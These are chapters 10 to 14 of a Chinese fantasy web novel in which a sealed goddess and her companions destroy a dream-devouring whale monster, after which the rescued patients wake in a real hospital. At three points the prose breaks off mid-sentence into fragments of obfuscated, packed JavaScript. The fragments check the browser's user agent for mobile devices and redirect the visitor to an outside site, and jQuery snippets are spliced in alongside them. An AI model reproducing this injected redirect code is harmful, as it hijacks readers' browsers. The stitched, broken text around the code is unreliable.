远远看着从滚滚涌来的尘沙中突然滚出来两个身影,孟星辰盯着那两个灰头土脸的人影,震惊道:“这都能逃出来,这边的怪也太强了吧。” 那股爆炸的力度可比他们之前搞出来的还要剧烈不少。 他眯了眯眼,辨认道:“一个鱼头医生扛着一个人。” 鳞片逐渐在身体上浮出,他语气逐渐危险:“也不知道能不能解决,先上再说,赢了就当给我添条命,输了你捞捞我。” “是自己人。”沈云烟拍了拍他肩膀,示意他变回去。 灰头土脸的宋先本来被医生扛得想吐,望见熟悉的身影,一下子精神头就上来了,他激动道:“老大,我们成功了!一个不留!” 双方汇合后简单介绍了下身份,宋先抹了把汗,接着道:“今早上六点医院所有怪物都来上班,我们趁着所有鱼头人都进了医院上工时,用你给的东西悄悄干掉了门卫。” “时间太早,来的人类患者不多,我们在医院借着身份闹走那些患者之后事情就顺利多了。” 他眼神亮晶晶的:“那些东西被姬蒙医生分批放进了护士站,手术室,医疗设备房,然后就和计划里一样。” “砰的一声,一个没留。” 姬蒙没说话,但一身专业人员的气质格外扎眼,深藏功与名。 “你们做的很好”,沈云烟称赞道。 “巢穴已经摧毁了大半,剩下还有一点需要你的帮忙。”她看向宋先。 宋先这会儿刚干完大事,一肚子豪情万丈:“尽管说,我肯定帮忙。” “那就请你先睡一觉吧。”沈云烟道。 “放心,在梦中,我与你同在。” “什么……呃……” 精准的手刀砍在宋先脖子上,宋先两眼一翻,倒了下去。 沈云烟接过他的身体,将他轻轻放倒在地。 她看向站着发愣的剩下两个人,道:“我也需要你们的一点点帮助。” 姬蒙医生站在原地点点头,孟星辰倒是退了一步,捂着自己的脖子,惊恐道:“太危险的我可干不了,我就剩一条小命了。” “放心”,沈云烟笑道:“真的就一点点小忙而已。” 11. 第十一章 井井有条的医院(10) 【梦里不知身是客】 宋先穿着一身残破的白袍走在漫天黄沙里,他漫无目的地向前走,无所谓方向,也无所谓距离。 鼻间总是萦绕着一缕熟悉的香气,令他十分疑惑。 他问了问身上的衣服,依旧没找到那丝香味的来源。 “我天生体香?” 他皱眉,想不起来自己是谁,也不清楚为什么会有香气。 意识是迟钝又凝滞的,他没有丝毫的时间感,呆着这里多久都无所谓,就在这里死去也无所谓。 天空中有模糊的声音传来,宋先缓慢拧头寻声而去。 巨大的灰色鲸鱼在天际漫游,如同优雅的舞者,摇曳着庞大的身躯,畅游在浮云之中。 “孩子,快过来,奶奶来接你了。” 记忆仿佛被点醒,宋先睁开疲惫的双眸,入目的便是熟悉的亲人。 “奶奶,你怎么在这,你不是应该……”他想了想,却接不出下文。 “傻孩子,我的傻阿先,找不到你奶奶都快急死了,还好有鲸神大人告诉我你在这里,以后可不能乱跑了,会被坏人抓走的。” 温热粗糙的双手扶上宋先的脸,将他失神的瞳孔聚焦在鲸鱼身上。 宋先凝望着庞大的躯体,眼中闪过一丝挣扎,但很快消失不见。 “奶奶”,他抓住老人的双手,平静问道:“这头鲸鱼在你眼里是什么样子的?” “怎么说话的,要叫尊贵的鲸神大人”,奶奶不满地敲了敲他的额头,形容道:“鲸神大人的背侧两边是深灰色的,腹部是乳白色,神躯之上的纹理神秘清晰,威严中让人心生敬畏。” “是吗?”宋先轻嘲一声。 宋先一把推开面前的老人,神情无比冷漠:“奶奶她不识字,说话简单直白,怎么会废这么多话去恭维一头鱼。” 那股异香越来越浓郁,宋先的脑袋越来越清晰。 再次抬头望去,眼前的画面骤然改变,这次他眼中的“神”可不是什么遨游在天际的灰色大鲸鱼。 不知道腐烂了多少年的鲸鱼骨架浮在空中,散发出浓浓的腥臭味,空洞的眼眶直直对向宋先,见他看过来,还往前游了一段距离。 “呕……” 鲸鱼骨架上的血肉还没有彻底腐烂分离,森白的骨头上还悬挂着些许不可描述的肉块,淋淋往下滴血。 实在是太限制级了。 宋先被熏地又呕了一声。 他想起来了。 眼前这个大鲸鱼就是被命名为梦中回响之音的C03。 这个地方是他的梦中梦。 “该死!” 仅凭他自己根本醒不过来,他在这里想逃都逃不掉,他双腿再快又能躲到哪里去,再快还能比得过天上那头大鲸鱼快。 悲戚的绝望蔓延上意识,宋先咬了咬牙,转头就朝另一个方向狂奔而去。 不能认输,不能放弃,就算是死他也不能就那么呆愣愣的被吃掉。 “阿先,阿先,你怎么跑那么快,等等奶奶啊。” 熟悉的声音从后上方传来,惊地宋先脊背一凉。 是那头鲸鱼骨架发出的声音,那头鲸鱼在模仿奶奶的声音。 宋先一点没停,拿出百米冲刺的速度继续向前跑。 鲸鱼的长鸣越来越近,却在每每靠近时又稍稍拉开点距离,它像猫玩弄老鼠一样逗弄着眼前的猎物,欣赏猎物垂死挣扎时的绝望姿态。 宋先的肺已经快炸了,但他不敢停下来,一旦停下就会被身后的怪物追上,然后连残骸都不会剩下。 他眼眶突然一痛,许久未见的预知悄然上线。 他看见自己在满天尘埃下筋疲力尽地奔跑,体力耗尽之时一脚摔进了废墟里,双目无神地仰望着天空,身后的尸骸怪物已然逼近,巨嘴一张,将他连同他身下的土地一并吞下…… 他心中浮现悲哀。 “我最后一次发动能力看到的竟然是我自己的死亡预知。” 他已经累到眼前泛起白光,脚下踉踉跄跄地跑着,不知不觉已经进入了预知里的那堆废墟。 奶奶,我不想死,可我现在已经没办法了。 宋先体力已经到极限,就像预知里的那样,他被一块坑洼绊倒,再也没力气起身,他胸腔剧烈起伏,可刚撑起身体就因为体力不支再次摔下去。 “还真摔成了仰面朝上的姿势。” 宋先一时不知道该夸自己预知准确还是该骂自己预知准确。 腥臭的风已经逼近,鲸鱼骨架还在不断发出宋奶奶的声音。 “阿先,跑那么快干什么,等等奶奶,阿先,追到你了,嘻嘻。” 宋先眼前已经被黑影覆盖,他清晰地看到怪物的上颚朝他压了过来,但他已经没力气再动一下了。 他咬紧了下唇。 可他真的不想死。 “喂,死鱼,该吃什么不该吃什么心里没点数吗?” 一道清瘦的身影从天而降,烈烈长风将她的墨发吹得肆意,沈云烟长靴高抬抵住鲸鱼尸骸的下颚,神力涌动,直接将它踹退百来米。 见宋先呆愣的模样,她挑眉:“看我干什么,没见过这么帅的出场姿势吗?” 宋先猛地睁大了眼睛。 沈云烟出现后,在她身后紧跟着两个人。 鱼头医生姬蒙,蛇头二五仔孟星辰。 宋先颤抖着嘴唇,生怕这是临死前的幻觉:“你们,你们怎么在这,这里明明是我的梦中梦。” “这小孩怎么眼睛一闭一睁就傻了”,孟星辰在他眼前晃了晃:“来,给叔叔说这是几。” “人在精神高度紧张,极度疲倦的时候有概率出现幻觉”,姬蒙僵硬的脸上露出一丝安抚的笑:“不过现在这里发生的并不是幻觉,放心,我们都是真的。” “你们怎么进来的?”宋先还在发愣。 “真傻了”,孟星辰手疾眼快地把宋先提溜出战场,把怪物留给沈云烟,免得误伤高中生。 他道:“你仔细看看这里是哪里,眼熟吗?” 听孟星辰这么一说,宋先抬头向四周望去,意识到什么后突然抬头望向姬蒙。 姬蒙在他眼神中点了点头,陈述事实:“今早咱俩刚炸的,还热乎着呢。” 这座废墟就是五官医院,或者说遗址废墟。 “这是怎么回事,如果这里是第一层梦境,不是第二层梦境的话,那个C03怎么可能会现身?” 宋先刚感觉肺好了点,脑子又不够用了。 “你问这个啊”,姬蒙瞬间肃然起敬:“当然是那位尊神显灵,救我们于水火之中。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635828|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 医生这副邪教徒的模样让宋先后背一凉,他抬头看向略显正常的孟星辰,眼神询问。 孟星辰塞给他一把香:“醒了就赶紧给神仙烧香,很有用的!” 宋先:“……” 虽然知道有神存在,他甚至还见过一面,但是眼前这两人也太夸张了点。 看着孟星辰和姬蒙劳模一样开始敬香,大致以沈云烟和怪物为中心燃香,形成一个模糊的包围圈,他突然心中一动,好像猜到了些什么。 【是鱼梦我,还是我梦鱼】 “人类典故里庄周梦蝶的故事听过没”,沈云烟不知从哪拿出来一柄黑色尖枪,此刻穿过鲸鱼尸骸的尾骨,将它牢牢固定在地。 鲸鱼骨架用力摆动,却丝毫甩不开那长柄武器的束缚。 “想往哪里跑,你跑的掉吗”,她半垂眸,手中愈发用力。 “我觉得你没听过”,沈云烟松开手,来到鲸鱼的正面,微笑道:“我今天心情不错,来给你解释一下。” “名叫庄周的人做梦变成了蝴蝶,醒来后又觉得人生一大梦,自己原本是只蝴蝶,是因为做梦变成了庄周。” “你说,是宋先在做梦,还是你在做梦。”沈云烟笑意扩大。 浓郁的香火气萦绕在整片废墟上空,犹如一张无形的网将鲸鱼捕获,即使沈云烟放开手中的禁锢,它也逃不出这里。 “你以为你藏进更深层的梦境,但实际上是你在做梦罢了,是你自己主动游进了梦主的第一重梦境里,那就怪不得我们了。” 沈云烟丝毫没留手,在这里攒下的信仰之力跟随她的意志疯狂灌入鲸鱼尸骸中,一寸寸将腐朽的骨骼碾碎成粉。 鲸鱼整座骨架都在颤动,疯狂反扑沈云烟,巨大的身躯来回扭动,似乎要断尾求生,它张开巨口作势要吞了沈云烟,实际是想将她逼开。 “这可没用,傻鱼。”沈云烟叹息着,体内力量毫不犹豫加速流动。 一瞬间,C03整条鱼就像被电直了一样,张着嘴卡在了半空中,最后重重落下,惊起无数尘土。 “人类……弱小可悲……我……为神……高贵……你……可恨……” 微弱的声音从尸骸上传来,是C03的仅存的意志。 沈云烟抚过空气中浓郁到显形的金色信仰,它们遵从她的意志,努力地摧毁瓦解场上唯一的邪物。 “所以高贵的你死在了人类的信仰之力下,觉得开心吗?” “至于神?要是你这种东西都能自称神,那真是可悲。” 沈云烟表情归于平淡,瞳眸短暂转化为纯澈的琉璃色,她的声音无悲无喜,却又带着不可质疑的神性:“带着你的痴妄下地府去吧。” “对了,忘了地府早就隐退了,那就,灰飞烟灭吧。” 她抬指点向虚空,清冽的声音在沙地清晰响起,仿若箴言。 “生命不容践踏,吾以亵渎生灵之罪将你湮灭,可有异议。” 言灵裹挟着力量将鲸鱼尸骸牢牢禁锢住,震得脆弱的骨架咯吱作响。 C03发出凄厉地长鸣,声音却在下一秒戛然而止。 沈云烟恢复正常的瞳色,黑沉的眸子看着逐步瓦解消散的怪物骨骼,眼中却半点倒影都没有,她神色淡淡。 “供认不讳,认罪者自愿伏诛。” 12. 第十二章 井井有条的医院(完) 沈云烟腿一软,感受到体内信仰被抽空的虚弱,不过她还剩了点力量,足够撑到这具身体回家后再消失。 “哐当——” 一颗圆滚滚的珠子突然从死去的C03眼眶深处掉了下来,滚落在沈云烟脚下。 翠绿色的清透云纹布满圆珠表面,浓厚的清气从其中涌出,带着磅礴的生命气息,没来由地让沈云烟觉得熟悉。 这世间能让她觉得熟悉的东西已经很少了,沈云烟心中一动,伸手捡起了它。 在接触的瞬间,她神台一亮,瞬间陷入了某种玄之又玄的状态。 反正也走不动了,她索性拿着珠子在沙地里盘腿坐下。 闭目打坐,仔细感受那枚珠子的气息。 “道君,今时天命难寻,我算过,天命不归人间。”白发老者坐于青牛之上缓缓向她而来。 沈云烟猛地睁开眼:“占筮人,你怎么这在。” 她环顾四周,眼前尽是蒙蒙雾气,整个空间只有白发老者和他的青牛。 占筮人行了一礼:“道君,好久不见。” 沈云烟:“你既然在这里,那其他人呢?” 占筮人摇摇头:“不知所踪。” “我如今也不过一缕残魂,得幸有这珠子相护才没有魂飞魄散。” 他道:“说起来,这珠子还是道君友人之物,只可惜物是人非,那人如今竟也不知踪迹。” “我的友人?”沈云烟确实感觉到这珠子有种熟悉感,但翻完记忆都没能想出这究竟是谁的东西。 “莫不是封印的问题。” 她摇了摇头,不再想这个问题,问老者:“你说天命不在人间,难不成在那些怪物身上,那不就彻底乱套了,再过百来年,整个世界都找不出几个活物了。” “非也非也”,老者说道:“天命在您,道君。” “我?可我不是人类,人族命数我不得过分干预。” “天道早就乱了,拨乱反正乃唯一正道,您说您是人族,您就是人族”,占筮人围着她绕了一圈,笑道:“这具身体哪处不像人,您直接把说闲话的灭了就成。” 沈云烟:“……” 真是简单粗暴的解法,同事们果然武德充沛。 “这珠子本是那友者留与道君,只可惜途遭变故,当时没能送到您手中”,占筮人抚了抚胡子,感慨道:“如今几经辗转,竟也物归原主,真是天意呐。” 沈云烟思衬道:“我的记忆可能不全,想不起来有关友者的任何信息”,她推测道:“或许和我身上的封印有关。” “封印?”占筮人停下脚步,掐指算了算,口中喃喃道:“原来如此,原来如此。” 他道:“道君不必忧心,时间到了所有一切都会明了,如今我不便透露天机,以免扰乱您的命数。” 他笑的慈祥:“您只需记得,只要遵从本心走下去,封印会一步步解开的。” 沈云烟幽幽道:“在人类的社会里,谜语人是会被打死的。” 占筮人哈哈一笑:“道君如今也会开玩笑了”,他老顽皮似的耸耸肩,无辜道:“小老儿也没办法,不可说,不可说啊。” “若您实在心急,不如去找一找有关风君的典籍,兴许还能窥探一丝真相。”占筮老者眨了眨眼。 风君。 沈云烟默念过这个名字,她记住了。 占筮人:“道君,该醒醒了,外边有人在等你。” 沈云烟颔首:“那便下次再聚,你先好好修养。” 占筮人一挥浮尘,行了一礼:“恭送道君。” 眼前景象逐渐模糊,沈云烟意识一沉,就感觉有人在拽着她晃。 “你可别死啊!沈云烟!云烟!云烟姐!姐!快醒醒啊!你还没带我去见神仙呢!我还没来得及给神仙当舔狗呢!你快醒醒!没有你我可怎么办啊!” 沈云烟眼睛都没睁开,一拳头甩了过去,正中目标。 孟星辰捂着脸,眼眶红红地“哎呦”一声,一屁股坐进了沙堆里。 “喊什么喊,就不能让人坐着歇会儿”,她淡淡道。 “你醒了,可太好了!”宋先也在旁边,他刚刚摸爬滚打沾了一身泥,还没来得及清理干净,见沈云烟醒了也顾不了其他,连忙凑了上来。 “刚刚怎么回事,老大你杀完那个鲸鱼怪以后突然坐下来一动不动的,怎么叫都没反应,我差点吓死了”,宋先心有余悸。 “有点累坐着歇会而已”,沈云烟把珠子收好,站起身来拍拍灰尘。 姬蒙本来在专心捡残留的鲸鱼骨头,他感受到了什么,突然抬头提醒道:“沈仙师,那边有人过来。” 乌泱泱的一群人突然从各处探出头来,有患者,有领地居民,领头的人一头银白长发,目标正是他们这里。 “你们……”白月张了张唇,百年禁锢一朝被解决,他竟然有些不知所措。 “竟真的做到了”,他目光落向沈云烟,敏锐的感知察觉到她身上一丝残存的神秘气息,白月神色微动,面上浮出些许猜测。 他后退一步,正色道:“我身后是这片区域内所有的人类灵魂,完完整整,一个不少。” “约定即已完成,就此告别”,白月俯身行妖族一礼,郑重道:“今日之恩,白月铭记在心。” “再会。” C03死亡,封闭的巢穴再也困不住任何人,在白月眼里,这里到处都是可以撕开的漏洞。 他的身影逐渐消失在众人眼中。 孟星辰抱臂而立,满脸不开心:“这小白脸光会说好听话,也没什么行动表示,看着就不像好人。” 沈云烟没理他的嘀咕,注意力聚集到了众多灵魂中。 “梦醒了,该回去了”,她环顾众人。 有点点星光从灵魂中溢散出来,在这里的人身体逐渐变得透明,那是他们即将回归躯体的征兆。 最后的最后,就只剩四人。 梦主宋先,等所有人都离开再走的沈云烟,正在消失的孟星辰,和半异化的鱼人姬蒙。 孟星辰拉着沈云烟两眼泪汪汪:“我家在未青市西林镇华光小区852号,一定要来找我啊,我想拜神仙的心可真了。” 他都消失了半截,突然意识到什么:“不对,万一我爸妈搬家了!” 他喊的比谁都大声:“我个呆逼,我应该来找你们!你们在哪住啊!靠!怎么消失地这么快!等等啊!地址!地址告诉我啊!” 被孟星辰吵得头疼,沈云烟直接给他塞了一把香:“这东西你也能带回现实,想神仙了就回去烧香,说不定神仙知道你一片赤子之心后就会回应你,告诉你她在哪了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635829|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你可别骗我!我回去真烧了!”孟星辰就剩了个头,嘴还没停。 怎么不让他从嘴开始消失。 沈云烟摆摆手:“真的,真的,可太真了。” 终于送走这尊大神,沈云烟看向一直没说话的姬蒙。 姬蒙率先开口:“能回去的人都是完好无缺的人形。” 他垂下头,随即又扬起笑:“我猜测到我大概回不去了,我的身体应该已经死了,不过没关系,能够在生命的最后一刻恢复清醒我觉得也值了。” 他沉默了一会儿。 “可能还有点遗憾”,他摸出口袋里装的那张素描肖像,细细抚摸,眼神沉静而温柔:“我还是想不起来她的模样。” “有时候会想,要是能见一面就好了,但又会接着想,其实不见最好,我现在这副样子,就算见了也只会吓到人。” 姬蒙看向沈云烟和宋先,缓慢而沉重道“就让我呆在这里和这片巢穴一起消失吧,这是我的宿命,也是我最好的结果,再见了,我的朋友,希望你们的未来一片畅快。” 宋先一瞬间眼睛就红了,他低声道:“姬蒙医生……” “别哭。”姬蒙回应。 “呜……” 沈云烟毫不留情地打断了这煽情的一幕,她仔细看了一遍姬蒙,确认道:“的确没有回归现实的征兆,你的身体应该已经没了。” 被打断情绪的宋先闻言嘴接着一扁,眼泪已经忍不住了。 “不过我可没说就这么把你扔在这等死。” 宋先立马眼泪一抹,激动道:“我就知道老大最厉害了!” 她接着道:“如果你愿意成为神的眷属,与外界有了联系后我就能直接带你离开这个鬼地方。” “我当然愿意!” 能活下来谁都不想死,更别提姬蒙本来就有点向狂信徒发展的苗头,一听更是迫不及待地同意了。 沈云烟点点头,在姬蒙同意的一瞬间,一道契约烙印在了他的灵魂深处,给他打上了属于神的气息。 “契约已成,神明眷属姬蒙……” “我们该走了。” 几人陆续离开这个世界,走在最后的宋先顿住脚步,回头远远看了一眼远处由自己潜意识构建的故乡。 突然间,他看到一个佝偻的身影出现在前方。 “阿先长大了,要出去闯荡,奶奶很骄傲”,老人慈眉善目地看着他笑:“不过要记得回去看看奶奶,奶奶很想你的。” 不是怪物幻化的老人,是那个一开始就陪着他的奶奶。 宋先忍住眼泪,远远地挥了挥手:“再见,我会回去看奶奶的!” 最后一声落定,唯剩的三人消失在了这座空间里,而失去了一切支撑的巢穴也开始了最后的破碎。 一切归于黑暗。 【档案】 【怪物名称:梦中回响之音】 【危险编号:C03】 【状态:已湮灭】 【执行者:沈云烟,宋先】 【执行日期:20xx年9月1日】 【备注:收录并更新神之代行人部分能力,收录新人破妄者部分能力】 【上级指示:观察宋先心性,争取吸纳新鲜血液】 机密档案存入层层封锁的高楼上,只待必要时再次取出。 13. 第十三章 噩梦外的阳光 “今天带患者出去晒太阳,接受外部刺激,晚上记得检查记录生命体征,每天按时查房,有情况及时汇报。” 听完安排后,护士们开始自己今天的工作。 年轻的护士带着自己的记录本来到了一间病房,拉开一半窗帘,让阳光透进房间内。 她开始今天的检查工作。 “唉,我来这都五六年了,你在这躺着听说也有十年了,你家里人是真的爱你,闲了空了就过来看。” 高级病房的医疗费并不低,眼前这个清秀的男子在这住了大约有十年,因为他父母一直没放弃治疗,坚持使用最好的医疗措施,所以直到现在病人除了四肢肌肉部分萎缩外,其他的看着与正常人无异。 “我前几天看见二老,白头发明显多了不少,喂,你要是能听见就赶快醒过来啊,你爸妈还在等你。” 床上的男子如今也才三十出头,算起来当时也就刚大学毕业的年纪就出事了,大好的光阴就这么过去了,真是太可惜了。 护士叹了口气,接着给他按摩胳膊活血。 今天的阳光格外刺目,护士正准备再拉上点窗帘时,突然感觉到有一道微弱的声音在房间内响起。 “地址……地址……” 她震惊地看向病床上的男子,连手上的动作都停了。 清秀的男子虚弱地把眼睛睁开一丝缝,很快就因为体力不支合上,但还是被护士精准捕捉到。 护士激动地跑出房间,然后懊恼地一拍自己脑袋,回房间按了病房呼叫。 没一会儿,好几位医生带着一大批护士就来到了病房门口。 孟星辰刚睁眼的时候还有点恍惚,他在巢穴里身强体壮的,虽然看着瘦,肌肉那都是实打实在搏杀中练出来的,可不是花架子,刚一回归现实,他就被自己端个杯子就抖的胳膊震惊住了。 他安抚自己,身体健康就行,肌肉还能再练,以后练个更猛的。 一群医生围着他仔细检查了一遍,然后一脸欣喜地走出去,给他留下休息的时间,孟星辰还听到他们走的时候在叨叨什么奇迹啊,不可思议啊。 可不就是奇迹嘛。 他要是催动能力当场变成蛇人,今天这座医院两小时后就得上热搜。 医院已经通知他爸妈,检查没问题的话等到再修养复健好后就可以回家了。 孟星辰藏好从梦境巢穴里带回来的香,心里还想着怎么联系上沈云烟,他是真馋神仙的力量。 “青葱小伙秒变熟男”,他又照了照镜子,满意地点头。 他本来的长相偏嫩,如今身体多成熟了十年,虽然还显得嫩,但是比被大学时候被认成女孩子可好多了,乍一看就是二十七八的硬朗帅小伙。 灵魂的重量在这十年间增加了百倍有余,他有预感,他已经踏入了一个全新的世界。 而未来通往更高层的路就掌握在神明手中,他一定会找到那个神的,无论以何种方式。 病房门被急匆匆地打开,门口出现一个衣着儒雅的中年人。 他快步走过去,手指颤抖,却强制自己保持镇定,放轻声音:“星辰醒了,哪里有不舒服吗,你妈妈还在单位里一会儿就赶过来。” 孟星辰小心翼翼收起这些年学到的桀骜和冷漠,又变成了那个十年前阳光活泼的自己。 脸色还带着些虚弱的青年看着许久不见的父亲,阳光温柔撒在他身上,他露出小虎牙,笑的开心:“我都好,咱们以后会更好的。” … 齐刘海小女孩从沉睡中苏醒,眼前是满脸泪水的母亲,她揉了揉眼睛:“妈妈,我梦见好多怪兽,我带着太阳的火种去打怪兽,然后带着一群蘑菇逃出了黑色的房子,好奇怪的梦啊。” 母亲擦干眼泪,哄道:“都是梦而已,小乖累了就继续睡一会儿,睡醒了咱们就回家。” 退出房间后,她和医生交谈,心神不定道:“她现在具体是什么情况,以后还会不会再变成那个样子。” 医生很专业,他认真查看检查报告,道:“小孩情况很稳定,再观察两周确认没事就可以出院了,不用太担心。” “那就好,那就好。” … “医生,我现在是没事了?” “你晕了三天,现在感觉怎么样?” 男人活动活动自己手脚,回道:“有点没劲,闻不到味道,但是精神头还好。” “那再住院观察一周,确认……唉唉……你别走啊。” “不住了不住了,我老婆孩子还在老家等着我呢,我今天就订火车票回家看看,他们好长时间没尝到我的手艺了。” 男人匆匆办理离院手续,走到医院门口时抬头望了望刺眼的阳光,喃喃道:“这才算是真正走出噩梦了。” 他快速拨出一个电话:“喂,刘主厨啊,我请个假想回家看看,对对,家里是有点事,好嘞好嘞,我肯定尽快赶回来……” … 人迹罕至的深山之中。 一抹如月色的白霜从不知道多少年的厚重落叶下探出头来。 那是一条通体银白的蛇。 白月被关了这么多年,要不是蛇族体质特殊,没被吃了也被饿死了。 饶是凭着体质硬抗过这一百年的光阴,再次苏醒时他也觉得饿的两眼发昏。 用兽型游走捕猎能减少消耗,幸好这深山老林里野味多,他连吃了几只兔子后终于稍微缓解了胃部的烧灼感。 他修炼有成之后好多年没这么狼狈过了。 想起梦境巢穴里那个疑似神族的女人,白月心下沉了几分:“这些年到底发生了什么,怎么连神仙都掺和进人间的事里”。 他定下计划:“等到能化成人一定要去打听打听这些年究竟发生了什么。” 世界似乎发生了某种他不清楚的巨大改变。 每逢天地巨变,命数紊乱,能不能活下去都是未知。 “如果实在棘手,就去找那个叫沈云烟的人吧”,他思量道:“或许她能保我不死。” … 沈云烟去了官方的办公大楼一趟,将任务经过都做了详细的描述。 这次接待她的是个脸生的小年轻,一张可爱的娃娃脸总是笑嘻嘻的,她道:“沈前辈,叫我小谢就行,平常接待您的张姐这回出任务去了,我就暂时顶了张姐的班。” “您再看看这份资料,如果没什么问题的话我就先提交了。” 沈云烟把小谢记录的案宗大致浏览了一遍,点点头道:“可以,很全面。” “对了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635830|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们这里资料全,有空的话能帮我查点东西吗。” 小谢很热情,当即答应:“前辈您随意吩咐,我就算把档案库挖空都得给您找到。” “那也不至于,我就是随口一问,查不到就算了。” 沈云烟道:“请你帮忙找一下有关风君的资料。” 小谢认真记在本子上,抬头问道:“有其他相关条件吗,没有的话,整理出来的资料会很杂乱。” “没有其他信息,我只知道这个名字。” “风君”,小谢点点头,坚定道:“我记下了,我整理出相关资料后会立马打包发给前辈您的。” “谢谢了。”沈云烟点点头。 “没事”,小谢突然开始扭捏,她脸刷一下子就红了:“前辈您能给我签个名吗,我十分仰慕您的事迹。” “好啊。” 沈云烟刚签完一页,小谢刷的一下又端上来一摞纸,脸红的像滴血。 “还有我前部门的兄弟姐妹,这个部门的兄弟姐妹也都十分仰慕您,能不能也签个名啊,拜托了拜托了。” 沈云烟叹了声气:“行。” 真是年轻活力的新一代,也不知道老派的张雪出差回来带新班底后会不会抓狂。 等沈云烟回到家里差不多天也黑了,她拿出钥匙开门进屋。 外人开这间房门只能看到一个普通的两室小房间,只有沈云烟亲自开门,才会到来宋先第一次进来的那个空间。 明亮的空间,宽敞的客厅,舒适的家居用品,延伸看不见尽头的走廊,以及走廊两侧错落分布的房间。 芥子空间。 姬蒙恢复了正常人的身体,他的原本样貌和他的气质差别不大,清冷又锋利,他正在厨房做饭,听见开门声音探出头朝沈云烟打了声招呼,继续钻进厨房埋头苦干。 医生似乎对刀具很执着,菜刀也包括在内。 宋先窝在客厅写作业,他现在是暑假,没过几天就得接着上高中,这会儿着急补作业。 过了一会儿,四菜一汤上桌。 “身体还习惯吗?”吃饭的时候沈云烟问姬蒙。 姬蒙点点头:“很好用。” 他控制这具身体还不够熟练,背后突然多长出了几只手,他回头把那些多余的肢体按了回去,淡淡道:“等到熟练了,我就可以一个人同时操作弯血管钳、直角钳、线剪、手术刀、手术镊、持针器、缝针……” 他夹了一口菜,接着道:“还能一次性做八菜一汤。” “希望你快点掌握身体”,沈云烟由衷鼓励道。 家里收容的怪物残骸不少,如今姬蒙的新身体来源于家里的风铃。 最初的最初,它还是只叱咤风云的恐怖大章鱼,现在变成了风铃。 今天它在窗台上悠哉悠哉吹着小风晒太阳的时候,沈云烟过去一把把它薅了下来,直接掰了它一根触手拿走用。 它再生能力很强,缺胳膊断腿很快就能长出来,断肢也能成为新的个体,这种能力正好可以做姬蒙新身体的材料。 就是可能会多长出了几只手,几条腿什么的,不过姬蒙看起来并不介意,反而很欣喜,因为这样方便他做手术。 沈云烟摇摇头。 科学怪人,恐怖如斯。 14. 第十四章 奇怪的踪迹 最近沈云烟都和本体呆在一块。 她在这具身体消失前重捏了化身,刚刚换完身体,她惬意地伸了伸懒腰,直接仰倒进柔软的宽大床铺中。 本体斜倚在软榻上,手轻轻撑着着头,发丝顺着肩颈滑向地面,她双眸微合,一副假寐姿态。 不过要是没有外部影响,本体会在这里睡到地久天荒。 沈云烟取出那枚珠子。 回来之后,一靠近她的住所,仙家气息浓郁,这珠子看着也更鲜亮生机。 “咦”,她把珠子拿着稍微靠近一本体,本体的双眸微微抬起,一拿开,本体又阖上眼睛。 沈云烟自己都不清楚为什么这珠子会影响到沉睡的身体。 “先放在这吧”,她把珠子留在本体手中,这是整个芥子空间最安全的地方。 刚想离开,她脚步一顿。 轻柔却毫不退让的流风萦绕着她,一缕本属于她的权柄规则落于风中,欢快隐入身体之中,就像溪流重回源头一般雀跃。 庞大的力量瞬间涌出,在浸透身体每一寸之后又乖巧地隐藏起来。 沈云烟闷哼一声,瞳眸不受控制地变回琉璃色,她闭上眼睛缓了好一会儿才压回那股猛增的神性。 过了许久,她睁开双眼,已经恢复正常。 沈云烟看向那枚珠子,又看了看自己的手,喃喃道:“封印,被揭开了一角。” 而且没有引起不必要的“注视”。 看来这个风君果然与整件事关系匪浅。 法力在体内自由舒展,这是沈云烟自从苏醒之后第一次感受到如此轻快的身体。 “能力也在慢慢恢复……” 除了【言灵】之外,沈云烟感觉到自己可以操纵的能力又多了一个。 【吉凶祸福】 她开玩笑道:“以后出门可以先测一测,要是大吉就去买彩票。” 任务告一段落,沈云烟的工资卡里又多了一大笔现金,是官方组织给特邀人员的奖励。 宋先也有,不过他还未成年,就一起打进沈云烟卡里。 医生最近还在和他的八只手斗争,不太愿意出门,沈云烟提着宋先进了当地最有名的旅游团好好玩了一周,等到他临近开学才回了家。 “你出来这么长时间,不回家去看看吗?”她边吃边问。 沈云烟旅游买了很多零食特产,带回来全堆进了库房,够她消遣好久了。 宋先摇摇头:“我就不回去给舅妈他们添麻烦了。” 他在浮川市这边寄宿上学,老家在雾枝镇,来回要两天两夜的车程,而且其实家里面也没有太想见的人。 爸妈很早就走了,奶奶后来也走了,他一个人住比去亲戚家住舒服些。 